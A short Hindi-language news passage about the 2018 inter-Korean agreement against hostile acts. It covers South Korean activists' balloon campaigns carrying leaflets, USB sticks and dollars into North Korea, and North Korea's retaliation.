तत्कालीन उदारवादी दक्षिण कोरियाई राष्ट्रपति मून जे-इन और उत्तर कोरियाई नेता किम जोंग उन के बीच सुलह की एक संक्षिप्त अवधि के दौरान हुए 2018 के समझौते के अनुसार, कोरिया को एक-दूसरे के खिलाफ सभी शत्रुतापूर्ण कृत्यों को रोकने की आवश्यकता है, जिसमें प्रचार प्रसारण और पत्रक अभियान भी शामिल हैं।

लेकिन समझौते में स्पष्ट रूप से यह नहीं कहा गया है कि नागरिक पत्रक पर भी प्रतिबंध लगाया जाना चाहिए। इससे दक्षिण कोरियाई कार्यकर्ताओं को प्योंगयांग विरोधी पर्चे, दक्षिण कोरियाई नाटकों और विश्व समाचारों वाली यूएसबी स्टिक और उत्तर कोरिया में अमेरिकी डॉलर गिराने के लिए गुब्बारे उड़ाने की अनुमति मिल गई है। इस तरह के प्रचार अभियानों से क्रोधित होकर, उत्तर कोरिया ने पहले आने वाले गुब्बारों पर गोलीबारी की थी और उत्तर में एक दक्षिण कोरियाई निर्मित, खाली अंतर-कोरियाई संपर्क कार्यालय को नष्ट कर दिया था।

 

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